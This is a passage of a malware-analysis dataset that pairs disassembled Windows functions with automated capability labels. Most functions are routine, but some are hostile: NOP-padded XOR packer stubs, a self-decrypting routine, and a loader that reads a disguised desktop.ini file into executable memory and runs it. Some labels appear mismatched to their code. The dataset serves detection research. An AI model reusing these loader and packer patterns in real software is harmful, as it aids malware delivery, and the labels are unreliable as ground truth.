joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404d69
Capabilities:
Enumerate files on windows

Disassembly:
push ecx
push esi
mov esi, eax
mov eax, dword [esi]
cmp eax, 0xffffffff
jne 0x404d95
lea eax, [esi + 0x148]
push eax
lea eax, [esi + 4]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [esi], eax
mov dword [esp + 4], ecx
jmp 0x404db0
lea ecx, [esi + 0x148]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
mov dword [esp + 4], eax
jne 0x404db7
call fcn.00404e01
cmp dword [esp + 4], 0
je 0x404dfa
push ebx
push ebp
push edi
lea edi, [esi + 0x288]
lea ebx, [esi + 0x174]
add esi, 0x3cc
push esi
call sub.msvcrt.dll_strlen
push ebx
mov ebp, eax
call sub.msvcrt.dll_strlen
lea eax, [eax + ebp + 1]
cmp eax, 0x143
pop ecx
pop ecx
jae 0x404df4
push ebx
push esi
mov eax, edi
call fcn.00403f3c
pop ecx
pop ecx
jmp 0x404df7
mov byte [edi], 0
pop edi
pop ebp
pop ebx
mov eax, dword [esp + 4]
pop esi
pop ecx
ret

Function at 0x4054e0
Capabilities:
Read .ini file

Disassembly:
push 0x4192d8
push dword [esp + 0xc]
mov byte [esi], 0
push esi
push 0x412415
push dword [esp + 0x14]
push 0x4193e0
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
mov eax, esi
ret

Function at 0x405504
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00411570
push esi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x1003]
push 0
push eax
mov byte [ebp - 0x1004], 0
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x4192d8
push esi
lea eax, [ebp - 0x1004]
push eax
push 0x412415
push dword [ebp + 8]
push 0x4193e0
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
cmp byte [ebp - 0x1004], 0
pop esi
je 0x405570
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 0xc]
call sub.msvcrt.dll_strcpy
pop ecx
xor eax, eax
pop ecx
inc eax
leave
ret
xor eax, eax
leave
ret

Function at 0x405574
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00411570
push esi
push edi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x1003]
push 0
push eax
mov byte [ebp - 0x1004], 0
call sub.msvcrt.dll_memset
add esp, 0xc
mov edi, 0x4192d8
push edi
push esi
lea eax, [ebp - 0x1004]
push eax
push 0x412415
push dword [ebp + 8]
mov esi, 0x4193e0
push esi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
cmp byte [ebp - 0x1004], 0
jne 0x4055dc
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
jmp 0x4055de
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x4058c2
Capabilities:
Read .ini file

Disassembly:
push dword [esp + 4]
call fcn.00403d41
test eax, eax
pop ecx
je 0x405949
push esi
push edi
push dword [esp + 0xc]
mov edi, 0x4192d8
push edi
call sub.msvcrt.dll_strcpy
push str.general
mov esi, 0x4193e0
push esi
call sub.msvcrt.dll_strcpy
add esp, 0x10
push edi
push 0
push 0x4128bc
push esi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
dec eax
neg eax
sbb eax, eax
inc eax
push 0x3f
push str.charset
mov esi, 0x419430
mov dword [0x419428], eax
call fcn.004054e0
push 0x3f
push str.TranslatorName
mov esi, 0x419470
call fcn.004054e0
push 0xff
push str.TranslatorURL
mov esi, 0x4194b0
call fcn.004054e0
add esp, 0x18
pop edi
pop esi
ret

Function at 0x408c09
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
sub eax, 0x9c58
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, ecx
je 0x408cf4
sub eax, 8
je 0x408cc4
sub eax, 0xe
jne 0x408cfb
add ebx, 0x1ec
cmp byte [ebx], al
je 0x408cfb
mov edi, 0x104
push edi
push eax
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10b]
push eax
call sub.msvcrt.dll_memset
mov esi, dword [esi + 0x390]
add esi, 0x3c
push esi
call sub.msvcrt.dll_strlen
push ebx
mov dword [ebp - 4], eax
call sub.msvcrt.dll_strlen
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 1]
add esp, 0x14
cmp eax, edi
jae 0x408c9d
mov eax, dword [ebp + 8]
add eax, 0x1ec
push eax
push esi
lea eax, [ebp - 0x10c]
call fcn.00403f3c
pop ecx
pop ecx
jmp 0x408ca4
mov byte [ebp - 0x10c], 0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
je 0x408cfb
mov eax, dword [ebp + 8]
mov dword [eax + 0x2d0], 1
jmp 0x408cfb
lea edi, [esi + 0x39c]
mov eax, edi
call fcn.00404ac0
test eax, eax
jle 0x408ce2
push 0x4128fc
or eax, 0xffffffff
call fcn.00404adb
mov eax, ebx
call fcn.00401e1f
push eax
or eax, 0xffffffff
call fcn.00404adb
jmp 0x408cfb
push ebx
push esi
call fcn.00408932
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x408dda
Capabilities:
Delete file
Open clipboard

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push edi
push 0x412b7c
lea edi, [ebp - 0x104]
call fcn.00403ca6
mov eax, dword [esi + 0x394]
pop ecx
push 1
push 2
mov ecx, edi
push ecx
push esi
call fcn.00408798
test eax, eax
pop edi
je 0x408e4f
push dword [esi + 0x108]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x408e2c
lea eax, [ebp - 0x104]
push eax
call fcn.00403b4a
pop ecx
jmp 0x408e32
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
je 0x408e42
push dword [esi + 0x108]
call fcn.00403a0f
pop ecx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
leave
ret
Function at 0x408f3d
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push esi
push edi
mov esi, eax
lea edi, [esi + 0x39c]
push 0x412415
call fcn.00404a83
mov eax, dword [esi + 0x394]
push 0x9c60
push esi
call fcn.00408d02
mov eax, edi
call fcn.00404a77
push dword [esi + 0x108]
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x408fcd
call dword [sym.imp.USER32.dll_EmptyClipboard]
test ebx, ebx
je 0x408fc4
push ebx
call sub.msvcrt.dll_strlen
pop ecx
lea edi, [eax + 1]
push edi
push 0x2000
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x408fc4
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push edi
push ebx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
pop edi
pop esi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebx
ret
Function at 0x40af25
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x138
push esi
push edi
push dword [ebp + 8]
xor esi, esi
push ebx
mov dword [esp + 0x14], esi
call fcn.0040a230
test eax, eax
je 0x40b082
push 0x11f
lea eax, [esp + 0x25]
push esi
push eax
mov byte [esp + 0x2c], 0
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
push 0x120
lea eax, [esp + 0x24]
push eax
push esi
push dword [ebx + 0x10]
call fcn.0040452d
add esp, 0x10
cmp byte [esp + 0x23], 8
jae 0x40afbb
cmp byte [esp + 0x134], 0
jne 0x40afbb
cmp byte [esp + 0x135], 0
jne 0x40afbb
cmp byte [esp + 0x136], 0
jne 0x40afbb
cmp byte [esp + 0x137], 0
jne 0x40afbb
mov dword [esp + 0xc], 1
push dword [ebp + 8]
mov eax, ebx
call fcn.0040a2b5
mov esi, dword [esp + 0xc]
neg esi
sbb esi, esi
push 0
and esi, 0xeec
push 0
add esi, 0x114
push esi
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
and dword [esp + 8], 0
sub edi, esi
shr edi, 4
mov esi, edi
test esi, esi
jle 0x40b068
and dword [esp + 0x10], 0
xor eax, eax
lea edi, [esp + 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
lea eax, [esp + 0x14]
push eax
push dword [ebx + 0x10]
call fcn.004044ef
add esp, 0xc
test eax, eax
je 0x40b068
cmp dword [esp + 0x10], 0
je 0x40b05e
cmp dword [esp + 0xc], 0
jne 0x40b050
mov ecx, dword [esp + 0x1c]
call fcn.0040a20c
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
call fcn.0040a20c
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x18], eax
call fcn.0040a20c
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push dword [ebp + 8]
push ebx
call fcn.0040a827
inc dword [esp + 8]
cmp dword [esp + 8], esi
jl 0x40aff7
mov eax, ebx
call fcn.0040a365
mov eax, dword [ebx + 0x10]
cmp eax, 0xffffffff
je 0x40b07e
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
or dword [ebx + 0x10], 0xffffffff
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x40c019
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.00411570
xor eax, eax
cmp dword [ebp + 8], eax
push ebx
push esi
mov byte [ebp - 0x2004], al
je 0x40c070
push 0x2000
push eax
lea eax, [ebp - 0x2003]
push eax
call sub.msvcrt.dll_memset
push dword [edi]
lea ebx, [ebp - 0x2004]
push dword [ebp + 0x14]
call fcn.00404581
add esp, 0x14
push dword [ebp + 0x18]
mov eax, ebx
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
mov esi, eax
jmp 0x40c0bb
mov esi, 0x2000
push esi
push eax
lea eax, [ebp - 0x2003]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push dword [ebp + 0x18]
lea eax, [ebp - 0x2004]
push esi
push eax
push 0x412415
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push dword [ebp + 0x14]
xor ecx, ecx
cmp ecx, eax
sbb esi, esi
push edi
lea ebx, [ebp - 0x2004]
neg esi
call fcn.004045fc
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x40c0c1
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
push dword [ebp + 0x18]
je 0x40c0df
push dword [esi]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.0040bfcd
add esp, 0x10
pop ebp
ret
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
mov dword [esi], eax
pop ebp
ret

Function at 0x40c39f
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x160
and dword [esp], 0
push 0x15c
lea eax, [esp + 8]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x111
push 0x160
lea eax, [esp + 8]
push eax
push 0
push dword [ebp + 8]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov eax, dword [esp]
mov esp, ebp
pop ebp
ret

Function at 0x40c491
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
mov esi, eax
call fcn.0040c3e4
xor ebx, ebx
cmp dword [0x419640], ebx
je 0x40c4d6
call fcn.00403eac
cmp dword [eax + 0x10], 1
jne 0x40c4c7
cmp esi, 0x19
je 0x40c4d6
cmp esi, 0x17
je 0x40c4d6
cmp esi, 0x16
je 0x40c4d6
push ebx
push esi
push edi
push ebx
call dword [0x419640]
jmp 0x40c56c
push 0x103
lea eax, [ebp - 0x127]
push ebx
push eax
mov byte [ebp - 0x128], bl
call sub.msvcrt.dll_memset
add esp, 0xc
cmp esi, 0x19
je 0x40c500
cmp esi, 0x17
je 0x40c500
cmp esi, 0x16
jne 0x40c510
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push CreateStatusWindowA
jmp 0x40c51e
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call fcn.0040c0f2
add esp, 0xc
cmp eax, ebx
jne 0x40c556
lea ecx, [ebp - 0x24]
mov eax, esi
call fcn.0040c413
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
mov eax, 0x104
lea esi, [ebp - 0x128]
call fcn.0040c10c
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x128]
push eax
push edi
call sub.msvcrt.dll_strcpy
xor eax, eax
cmp byte [edi], bl
pop ecx
pop ecx
setne al
pop esi
pop ebx
leave
ret
Function at 0x40c748
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push 0x104
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
call fcn.0040c671
test eax, eax
je 0x40c7a2
push 1
push 0
push dword [ebp + 0xc]
lea eax, [ebp - 0x108]
push eax
push 0
push dword [ebp + 8]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
cmp eax, 0x20
setg cl
mov eax, ecx
leave
ret
xor eax, eax
leave
ret

Function at 0x40ccd0
Capabilities:
Read file on windows

Disassembly:
cmp dword [esi + 0x3c], 0
je 0x40ccda
or eax, 0xffffffff
ret
cmp dword [esi + 4], 0
jne 0x40cd23
call sub.msvcrt.dll__errno
and dword [eax], 0
push dword [esi + 0x40]
push 0x4000
push 1
push dword [esi + 0x44]
call sub.msvcrt.dll_fread
add esp, 0x10
test eax, eax
mov dword [esi + 4], eax
jne 0x40cd1e
push dword [esi + 0x40]
mov dword [esi + 0x3c], 1
call sub.msvcrt.dll_ferror
test eax, eax
pop ecx
je 0x40ccd6
or dword [esi + 0x38], 0xffffffff
jmp 0x40ccd6
mov eax, dword [esi + 0x44]
mov dword [esi], eax
mov eax, dword [esi]
dec dword [esi + 4]
mov cl, byte [eax]
inc eax
mov dword [esi], eax
movzx eax, cl
ret

Function at 0x40cd31
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
mov esi, eax
xor ebx, ebx
push edi
mov edi, dword [esi + 4]
inc ebx
cmp edi, 2
jae 0x40cda1
test edi, edi
je 0x40cd4e
mov eax, dword [esi]
mov ecx, dword [esi + 0x44]
mov al, byte [eax]
mov byte [ecx], al
call sub.msvcrt.dll__errno
and dword [eax], 0
push dword [esi + 0x40]
mov ecx, edi
mov eax, 0x4000
sar eax, cl
push eax
mov eax, dword [esi + 0x44]
add eax, edi
push ebx
push eax
call sub.msvcrt.dll_fread
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x40cd89
push dword [esi + 0x40]
call sub.msvcrt.dll_ferror
test eax, eax
pop ecx
je 0x40cd89
or dword [esi + 0x38], 0xffffffff
add dword [esi + 4], edi
mov eax, dword [esi + 4]
cmp eax, 2
mov ecx, dword [esi + 0x44]
mov dword [esi], ecx
jae 0x40cda1
mov dword [esi + 0x58], eax
jmp 0x40ce5a
mov eax, dword [esi]
cmp byte [eax], 0x1f
jne 0x40ce57
cmp byte [eax + 1], 0x8b
jne 0x40ce57
add dword [esi + 4], 0xfffffffe
add eax, 2
mov dword [esi], eax
call fcn.0040ccd0
mov edi, eax
call fcn.0040ccd0
cmp edi, 8
mov ebx, eax
jne 0x40ce4e
test bl, 0xe0
jne 0x40ce4e
push 6
pop edi
call fcn.0040ccd0
dec edi
jne 0x40cdda
test bl, 4
je 0x40ce09
call fcn.0040ccd0
mov edi, eax
call fcn.0040ccd0
shl eax, 8
add edi, eax
mov eax, edi
dec edi
test eax, eax
je 0x40ce09
call fcn.0040ccd0
cmp eax, 0xffffffff
jne 0x40cdf8
test bl, 8
je 0x40ce1c
call fcn.0040ccd0
test eax, eax
je 0x40ce1c
cmp eax, 0xffffffff
jne 0x40ce0e
test bl, 0x10
je 0x40ce2f
call fcn.0040ccd0
test eax, eax
je 0x40ce2f
cmp eax, 0xffffffff
jne 0x40ce21
test bl, 2
je 0x40ce3f
push 2
pop edi
call fcn.0040ccd0
dec edi
jne 0x40ce37
mov eax, dword [esi + 0x3c]
neg eax
sbb eax, eax
and eax, 0xfffffffd
mov dword [esi + 0x38], eax
jmp 0x40ce5a
mov dword [esi + 0x38], 0xfffffffd
jmp 0x40ce5a
mov dword [esi + 0x58], ebx
pop edi
pop esi
pop ebx
ret
Function at 0x40d179
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [0x41604c]
test eax, eax
je 0x40d279
push ebx
push ebp
push esi
xor esi, esi
push edi
mov dword [0x41604c], 0
xor eax, eax
movzx edx, byte [eax + 0x413ed8]
push 0x1f
pop ecx
sub ecx, edx
xor edx, edx
inc edx
shl edx, cl
or esi, edx
inc eax
cmp eax, 0xe
jb 0x40d199
xor ecx, ecx
push 8
mov eax, ecx
pop edx
test al, 1
je 0x40d1c3
shr eax, 1
xor eax, esi
jmp 0x40d1c5
shr eax, 1
dec edx
jne 0x40d1b9
mov dword [ecx*4 + 0x4169b0], eax
inc ecx
cmp ecx, 0x100
jl 0x40d1b4
mov edi, 0x4179b0
mov ecx, 0xff00
mov eax, dword [edi - 0x1000]
mov esi, eax
and esi, ecx
mov ebx, eax
shl ebx, 0x10
add esi, ebx
mov edx, eax
shr edx, 8
shl esi, 8
mov ebx, edx
and ebx, ecx
add esi, ebx
mov ebx, eax
shr ebx, 0x18
add esi, ebx
mov dword [edi], esi
lea esi, [edi + 0x400]
mov dword [esp + 0x10], 3
and eax, 0xff
mov eax, dword [eax*4 + 0x4169b0]
xor eax, edx
mov ebx, eax
and ebx, ecx
mov ebp, eax
shl ebp, 0x10
add ebx, ebp
mov edx, eax
shr edx, 8
shl ebx, 8
mov ebp, edx
and ebp, ecx
add ebx, ebp
mov ebp, eax
shr ebp, 0x18
add ebx, ebp
mov dword [esi - 0x1000], eax
mov dword [esi], ebx
add esi, 0x400
dec dword [esp + 0x10]
jne 0x40d218
add edi, 4
cmp edi, 0x417db0
jl 0x40d1e2
pop edi
pop esi
pop ebp
mov dword [0x416048], 0
pop ebx
pop ecx
ret
mov eax, dword [0x416048]
test eax, eax
jne 0x40d279
pop ecx
ret
Function at 0x40eb26
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x2c]
push edi
mov edi, dword [esi + 0x3c]
sub edi, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
cmp eax, ecx
mov dword [ebp - 8], edi
jb 0x40ebb3
mov eax, dword [esi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call sub.msvcrt.dll_memcpy
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], ebx
sub dword [esi + 0x6c], ebx
add esp, 0xc
sub dword [esi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x40eb73
mov eax, dword [esi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x40eb95
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x40ec72
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 8]
cmp ecx, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
jbe 0x40ebdb
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x40ebe6
xor eax, eax
jmp 0x40ec33
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x40ec04
mov ecx, dword [edi]
mov eax, dword [edi + 0x30]
push edx
call fcn.0040f445
pop ecx
jmp 0x40ec17
cmp ecx, 2
jne 0x40ec1d
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.0040d284
add esp, 0xc
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
push dword [ebp - 4]
push dword [edi]
push eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x74], eax
mov edi, dword [esi + 0x74]
cmp edi, 3
jb 0x40ec5e
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp edi, 0x106
jae 0x40ec72
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x40eb31
pop edi
pop ebx
leave
ret
Function at 0x411306
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x4123e0
call fcn.004114f4
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x411343
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x411343
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x41135b
cmp eax, 0x20b
je 0x411348
mov dword [ebp - 0x1c], ebx
jmp 0x41136f
cmp dword [ecx + 0x84], 0xe
jbe 0x411343
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x411369
cmp dword [ecx + 0x74], 0xe
jbe 0x411343
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x4198d4], 0xffffffff
or dword [0x4198d8], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x41642c]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x416428]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x4198d0], eax
call fcn.004114f0
cmp dword [section..data], ebx
jne 0x4113ca
push fcn.004114f0
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.004114de
push 0x4123b4
push 0x4123b0
call sub.msvcrt.dll__initterm
mov eax, dword [0x416424]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x416420]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x4123ac
push 0x412394
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x34], esi
cmp byte [esi], 0x22
jne 0x411460
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x411434
cmp al, 0x22
jne 0x411426
cmp byte [esi], 0x22
jne 0x41143d
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x411447
cmp al, 0x20
jbe 0x411439
mov dword [ebp - 0x4c], ebx
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
test byte [ebp - 0x4c], 1
je 0x41146b
movzx eax, word [ebp - 0x48]
jmp 0x41146e
cmp byte [esi], 0x20
jbe 0x41143d
inc esi
mov dword [ebp - 0x34], esi
jmp 0x411460
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call main
mov esi, eax
mov dword [ebp - 0x7c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x41148b
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x4114c0
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0041152d
ret

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x103658f8
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x103658fe
pop ebp
sub ebp, 6
sub ebp, 0x3658f8
jmp 0x1036595c
mov al, byte [esp + 0x28]
cmp al, 1
je 0x10365973
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x1036597c
mov eax, 0x3658f8
add eax, ebp
add eax, 0xaa
mov ecx, 0x5b7
mov edx, 0x1077db67
xor byte [eax], dl
inc eax
dec ecx
jne 0x10365993
jmp 0x103659a6
in al, dx
stosb byte es:[edi], al
in al, dx
out dx, al
pop ebx
out 0xa6, al
lahf
stosb byte es:[di], al
fbld tbyte [ecx + 0x67]
fisttp qword [bx + 0x67]
nop
test dword [edi + ebp*4 - 0x14], esp
out 0x6b, al
mov byte fs:[0x3737], al
packuswb mm2, qword [ebx + 0x6a]
setg byte [bp + di + 0x4e]
dec bx
inc ebx
setg byte [eax + ebx*2 + 0x5a]
invalid